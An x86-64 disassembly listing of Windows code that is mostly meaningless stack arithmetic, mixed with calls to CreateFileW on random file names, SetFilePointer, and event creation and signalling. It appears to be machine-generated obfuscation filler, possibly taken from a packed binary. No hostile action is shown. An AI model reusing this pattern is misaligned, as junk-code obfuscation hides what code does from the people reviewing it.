mov rax, qword [rsp + 0x24e8]
shl rax, cl
mov rcx, qword [rsp + 0x1858]
mov qword [rcx], rax
movzx eax, word [rsp + 0x3a0]
movzx ecx, word [rsp + 0x5d8]
sar eax, cl
mov word [rsp + 0x15dc], ax
movzx eax, word [rsp + 0x15e0]
mov word [rsp + 0x358c], ax
mov rax, qword [rsp + 0x2510]
mov rcx, qword [0x1400fd4d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3168], rax
mov rax, qword [rsp + 0x4118]
mov eax, dword [rax]
add eax, dword [rsp + 0x21cc]
mov dword [rsp + 0x3420], eax
mov rax, qword [rsp + 0x1f18]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd330]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2288]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x17d8], rax
movzx eax, word [rsp + 0x458]
mov word [rsp + 0x3588], ax
mov rax, qword [rsp + 0x3b48]
mov rax, qword [rax]
mov qword [0x1400fd988], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xaad7
mov rcx, qword [rsp + 0x2b60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x159]
and eax, ecx
mov byte [rsp + 0x924], al
mov rax, qword [rsp + 0x9c8]
mov rcx, qword [rsp + 0x5040]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2714], eax
movsx eax, word [rsp + 0xc18]
mov rcx, qword [0x1400fd8c8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd70]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x5dc]
mov word [rsp + 0x1df8], ax
mov rax, qword [rsp + 0x2de0]
mov rcx, qword [rsp + 0x3958]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a58], rax
mov rax, qword [rsp + 0x2b20]
mov eax, dword [rax]
add eax, dword [rsp + 0x998]
mov rcx, qword [rsp + 0x1548]
mov dword [rcx], eax
lea rax, [rsp + 0x40a]
mov qword [rsp + 0x5140], rax
mov rax, qword [rsp + 0x3170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6c8]
or eax, ecx
mov word [rsp + 0x1e0], ax
mov rax, qword [rsp + 0x1258]
movzx eax, word [rax]
mov rcx, qword [0x1400fd340]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd678], ax
mov rax, qword [rsp + 0x1738]
mov rax, qword [rax]
mov qword [rsp + 0x58c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Ot0piDoxe1UQwsxhgbIcpKq1W
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58d0], rax
mov rcx, qword [rsp + 0x1bb8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1760]
mov rcx, qword [rsp + 0x1740]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xfe0], rax
mov rax, qword [rsp + 0x2bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2a68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b98], rax
mov rax, qword [rsp + 0x2df8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x770]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e9c], ax
movsx eax, byte [rsp + 0x925]
mov rcx, qword [0x1400fd330]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x926], al
lea rax, [rsp + 0x3b30]
mov qword [rsp + 0x5240], rax
mov rax, qword [rsp + 0x988]
mov rcx, qword [rsp + 0x3b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x26f8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x31f7
mov rcx, qword [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov eax, dword [rsp + 0x678]
cdq
mov rcx, qword [0x1400fd138]
idiv dword [rcx]
mov dword [rsp + 0xe00], eax
mov rax, qword [rsp + 0x3b40]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4f], al
mov rax, qword [rsp + 0x2610]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a28]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc5c8], ax
mov rax, qword [rsp + 0x14b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2a70]
mov word [rcx], ax
movzx eax, word [rsp + 0x148]
movzx ecx, word [rsp + 0xedc]
and eax, ecx
mov word [rsp + 0x1e98], ax
mov rax, qword [0x1400fd310]
mov rcx, qword [rsp + 0x39b0]
mov qword [rsp + 0x5048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5048]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2b70]
mov qword [rcx], rax
mov eax, 0x38
imul rax, rax, 4
mov dword [rsp + rax + 0x5b64], 0xcae2f40b
mov rax, qword [rsp + 0x1b70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x24f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d5], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x58d8], rax
mov rax, qword [rsp + 0x14b8]
mov rax, qword [rax]
mov qword [rsp + 0x58e0], rax
mov eax, dword [0x1400fc4e8]
mov rcx, qword [rsp + 0x3178]
mov qword [rsp + 0x5050], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5050]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x2548]
mov dword [rcx], eax
lea rax, [rsp + 0x250]
mov qword [rsp + 0x5368], rax
movzx eax, word [rsp + 0x1e94]
movzx ecx, word [rsp + 0x5c]
or eax, ecx
mov word [rsp + 0x3a4], ax
mov rax, qword [0x1400fd438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3960]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fd188], rax
lea rax, [rsp + 0x5dc]
mov qword [rsp + 0x58e8], rax
mov rax, qword [rsp + 0x5058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3aa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2a78], rax
mov rax, qword [rsp + 0x4120]
mov rcx, qword [0x1400fd588]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3b48]
mov qword [rcx], rax
lea rax, [rsp + 0x634]
mov qword [rsp + 0x5220], rax
mov rax, qword [rsp + 0x3c78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x585]
sar eax, cl
mov byte [rsp + 0x604], al
movzx eax, byte [rsp + 0x3e8]
mov rcx, qword [rsp + 0x24f8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x54e], al
mov rax, qword [rsp + 0x1730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2784]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x26fc], eax
mov rax, qword [rsp + 0x2500]
mov rcx, qword [rsp + 0x1300]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3180], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbd7d
mov rcx, qword [rsp + 0x5060]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1198], eax
mov rax, qword [rsp + 0x7e0]
movzx eax, word [rax]
mov word [0x1400fd990], ax
mov rax, qword [rsp + 0x1798]
movzx eax, word [rax]
mov word [rsp + 0x3584], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1168]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x890], ax
mov rax, qword [0x1400fd580]
movzx eax, word [rax]
mov word [rsp + 0x160c], ax
mov rcx, qword [rsp + 0x2cf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a8c], eax
mov rax, qword [rsp + 0x2560]
mov rcx, qword [rsp + 0x1b00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x11bc], eax
mov rax, qword [rsp + 0x5068]
mov rcx, qword [rsp + 0x3968]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1260], rax
mov rax, qword [0x1400fd8f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2d58]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xdeb], al
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3338]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5f0], ax
movzx eax, word [0x1400fd8c4]
mov word [rsp + 0x3580], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.LYly10hnHFmIiN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58f0], rax
mov rax, qword [rsp + 0x3b50]
mov rcx, qword [rsp + 0x1bd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1400fd650], rax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x2538]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3b60], rax
lea rax, [rsp + 0x3ca8]
mov qword [rsp + 0x58f8], rax
mov rax, qword [rsp + 0xd78]
mov rcx, qword [rsp + 0x2a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x17d0], rax
movzx eax, word [rsp + 0x88c]
mov rcx, qword [rsp + 0x2620]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3188]
mov word [rcx], ax
mov rax, qword [rsp + 0x1520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3b68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdea], al
mov rax, qword [rsp + 0x2b80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b70]
mov eax, dword [rax]
mov dword [rsp + 0x4278], eax
movsx eax, byte [rsp + 0x3ec]
movsx ecx, byte [rsp + 0x3e9]
sar eax, cl
mov rcx, qword [rsp + 0x1bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov qword [0x1400fd998], rax
mov rcx, qword [rsp + 0x1f20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2160], eax
movsx eax, word [rsp + 0xec0]
mov rcx, qword [0x1400fd2f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa78]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0e8
mov rcx, qword [rsp + 0x3970]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2700], eax
lea rax, [rsp + 0xc24]
mov qword [rsp + 0x5900], rax
mov rax, qword [rsp + 0x1850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec4]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov word [rcx], ax
lea rax, [rsp + 0x25e8]
mov qword [rsp + 0x5290], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x52a8], rax
mov rax, qword [0x1400fd358]
mov eax, dword [rax]
add eax, dword [rsp + 0x674]
mov dword [rsp + 0x21e0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa8b
mov rcx, qword [rsp + 0x2bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21a8], eax
mov rax, qword [rsp + 0x3978]
mov rcx, qword [rsp + 0x3308]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3980], rax
mov rcx, qword [rsp + 0x1bb8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2164], eax
lea rax, [rsp + 0x92a]
mov qword [rsp + 0x5908], rax
movsx eax, word [rsp + 0xf20]
movsx ecx, word [rsp + 0x1a0]
add eax, ecx
mov rcx, qword [rsp + 0xa78]
mov word [rcx], ax
movzx eax, word [rsp + 0xc20]
mov rcx, qword [rsp + 0x1f28]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc410], ax
lea rax, [rsp + 0x3230]
mov qword [rsp + 0x5910], rax
movzx eax, word [0x1400fd6cc]
mov rcx, qword [rsp + 0x2638]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbfc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.tOSe0hLc8g2v9ARqR9FQLq68WGu2yAnw2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5918], rax
mov rax, qword [rsp + 0x2270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3c68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x16d], al
mov rcx, qword [rsp + 0x3190]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x1a64]
mov dword [rsp + 0x33ec], eax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5070]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3ea], al
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x3988]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5080], rax
mov rax, qword [rsp + 0x2a88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5088]
add eax, dword [rcx]
mov dword [rsp + 0x7a4], eax
lea rax, [rsp + 0x6e4]
mov qword [rsp + 0x5920], rax
movzx eax, word [rsp + 0x15e4]
mov rcx, qword [rsp + 0x3990]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd64c], ax
mov rax, qword [rsp + 0x2a90]
mov rcx, qword [rsp + 0x1268]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3210], rax
mov rax, qword [rsp + 0x980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1138]
mov qword [rsp + 0x5090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5090]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3220], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1f22
mov rcx, qword [rsp + 0x3b78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa0], eax
mov rax, qword [rsp + 0x5098]
movzx eax, word [rax]
mov word [rsp + 0x357c], ax
movzx eax, word [rsp + 0x15e8]
mov rcx, qword [rsp + 0x2620]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3998]
mov word [rcx], ax
movsx eax, byte [rsp + 0x3eb]
movsx ecx, byte [rsp + 0x605]
add eax, ecx
mov byte [rsp + 0x608], al
mov rax, qword [rsp + 0x750]
mov rcx, qword [rsp + 0xd80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5928], rax
mov rax, qword [rsp + 0x39a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x17c8]
shl rax, cl
mov qword [rsp + 0x3360], rax
mov rax, qword [rsp + 0x2a98]
mov rax, qword [rax]
mov qword [rsp + 0x5930], rax
movsx eax, word [0x1400fc550]
movsx ecx, word [rsp + 0xc1c]
xor eax, ecx
mov word [0x1400fc5cc], ax
mov rax, qword [rsp + 0xd88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x17c0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xda8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1998]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4e], al
mov eax, dword [rsp + 0xcf0]
mov rcx, qword [0x1400fd138]
mov qword [rsp + 0x50a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x50a0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x39a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1848], rax
mov eax, dword [rsp + 0x2704]
mov ecx, dword [rsp + 0x2168]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x341c], eax
mov rax, qword [rsp + 0xf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3198]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x25a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1840]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4d], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xec5f
mov rcx, qword [rsp + 0x31a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2180], eax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [0x1400fd47c]
add eax, ecx
mov word [rsp + 0xc00], ax
lea rax, [rsp + 0x69c]
mov qword [0x1400fd9a0], rax
mov rax, qword [rsp + 0x50a8]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x50b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x50b0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x31a8], rax
lea rax, [0x1400fc434]
mov qword [rsp + 0x5938], rax
mov rax, qword [rsp + 0x31b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x958]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc14], ax
lea rax, [rsp + 0x3b88]
mov qword [rsp + 0x3ac8], rax
mov rax, qword [rsp + 0xfc0]
mov rcx, qword [rsp + 0xc68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a58], rax
mov rcx, qword [rsp + 0x50b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a9c], eax
lea rax, [rsp + 0x13c0]
mov qword [rsp + 0x53c0], rax
mov rax, qword [rsp + 0xfd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
and eax, ecx
mov byte [rsp + 0x606], al
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
movzx ecx, word [0x1400fd31c]
shl eax, cl
mov rcx, qword [rsp + 0x9e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x39b0]
mov rcx, qword [rsp + 0x3b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x1400fd688]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x216c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3418], eax
movzx eax, byte [rsp + 0x60b]
mov rcx, qword [rsp + 0x31d8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3b98]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.sm1YwWAyoN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5940], rax
mov rax, qword [rsp + 0x1328]
movzx eax, word [rax]
mov word [rsp + 0x3578], ax
movzx eax, word [rsp + 0x15fc]
mov rcx, qword [0x1400fd8f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x31b8]
mov ecx, dword [rsp + 0x2708]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x31c0]
mov qword [rsp + 0x5948], rax
movsx eax, byte [rsp + 0x2d4]
movsx ecx, byte [rsp + 0x607]
add eax, ecx
mov byte [rsp + 0x228], al
movsx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x31c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e38], ax
lea rax, [rsp + 0x890]
mov qword [0x1400fd9a8], rax
mov rax, qword [0x1400fd568]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3ba0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3ba8], rax
mov rax, qword [rsp + 0x22f0]
mov rcx, qword [rsp + 0xb38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x39b8], rax
mov rax, qword [rsp + 0x1528]
mov qword [rsp + 0x5950], rax
movsx eax, word [rsp + 0x6e0]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3bb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x31d0]
mov rcx, qword [rsp + 0xc70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e18], rax
mov rax, qword [rsp + 0x960]
mov ecx, dword [rsp + 0xba0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3bb8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x2508]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x16e]
mov byte [rsp + 0xde2], al
mov rax, qword [rsp + 0x31d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x229]
or eax, ecx
mov rcx, qword [rsp + 0x25c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0xe00]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x13f8], eax
movsx eax, word [rsp + 0x894]
movsx ecx, word [rsp + 0xefc]
shl eax, cl
mov word [0x1400fc514], ax
mov rax, qword [rsp + 0xdb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e34], ax
mov rax, qword [0x1400fd488]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2d88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x268], ax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov qword [rsp + 0x5958], rax
mov rax, qword [rsp + 0x17b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3ec]
add eax, ecx
mov byte [rsp + 0x2d3], al
mov rax, qword [rsp + 0x3be0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x50c8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x8118
mov rcx, qword [rsp + 0x2cd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf4], eax
lea rax, [rsp + 0x270c]
mov qword [rsp + 0x5960], rax
mov rcx, qword [rsp + 0x50d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x33bc], eax
mov rax, qword [rsp + 0x9d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1f30]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2290]
mov word [rcx], ax
mov rax, qword [0x1400fd868]
movzx eax, word [rax]
mov word [rsp + 0x3574], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9d90
mov rcx, qword [rsp + 0x3bc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21dc], eax
mov rax, qword [rsp + 0x2510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2aa8]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fc3f8], rax
mov rcx, qword [rsp + 0x1bb8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x6dc]
movzx ecx, word [0x1400fd638]
add eax, ecx
mov rcx, qword [rsp + 0x468]
mov word [rcx], ax
mov rax, qword [rsp + 0x32c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ab0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f38], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8595
mov rcx, qword [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3400], eax
mov rax, qword [rsp + 0xb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1180]
mov qword [rsp + 0x50d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x50d8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x50e0], rax
mov rax, qword [0x1400fd6d8]
mov ecx, dword [rsp + 0x2170]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2728], eax
mov rcx, qword [rsp + 0x2ab8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2174], eax
mov rax, qword [rsp + 0x31e0]
mov rax, qword [rax]
mov qword [rsp + 0x5968], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8c84
mov rcx, qword [rsp + 0x2b60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4274], eax
mov rax, qword [rsp + 0x2658]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16d]
xor eax, ecx
mov byte [rsp + 0x109], al
mov eax, dword [rsp + 0x1a94]
mov rcx, qword [0x1400fd138]
mov qword [rsp + 0x50e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x50e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2178], eax
mov rax, qword [rsp + 0x2ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2518]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xde9], al
mov rcx, qword [rsp + 0x2ac8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
lea rax, [rsp + 0x8cc]
mov qword [0x1400fd9b0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3343
mov rcx, qword [rsp + 0x2520]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13b0], eax
mov rax, qword [rsp + 0x2310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa78]
mov word [rcx], ax
lea rax, [rsp + 0x1614]
mov qword [rsp + 0x5970], rax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15f8]
sar eax, cl
mov word [rsp + 0x8a8], ax
mov rax, qword [rsp + 0x2528]
mov qword [rsp + 0x5978], rax
mov rax, qword [rsp + 0x2b20]
mov rcx, qword [rsp + 0x2c20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1f48]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x158]
mov rcx, qword [0x1400fd8f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2280]
mov byte [rcx], al
mov rax, qword [rsp + 0x2df8]
movzx eax, word [rax]
mov word [rsp + 0x163c], ax
movzx eax, word [rsp + 0x898]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6d8], ax
mov rax, qword [rsp + 0x1140]
mov rcx, qword [rsp + 0x9c0]
and rcx, rax
mov rax, rcx
mov qword [0x1400fc488], rax
mov rax, qword [rsp + 0x1bb0]
mov rcx, qword [rsp + 0x14e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50f8], rax
mov rax, qword [rsp + 0x1ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ad0]
mov qword [rsp + 0x5100], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5100]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x31e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3bc8]
mov rax, qword [rax]
mov rcx, qword [0x1400fd548]
mov qword [rsp + 0x5108], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5108]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1f50], rax
movzx eax, word [rsp + 0x4dc]
mov word [rsp + 0x3570], ax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a0], eax
movzx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xde8], al
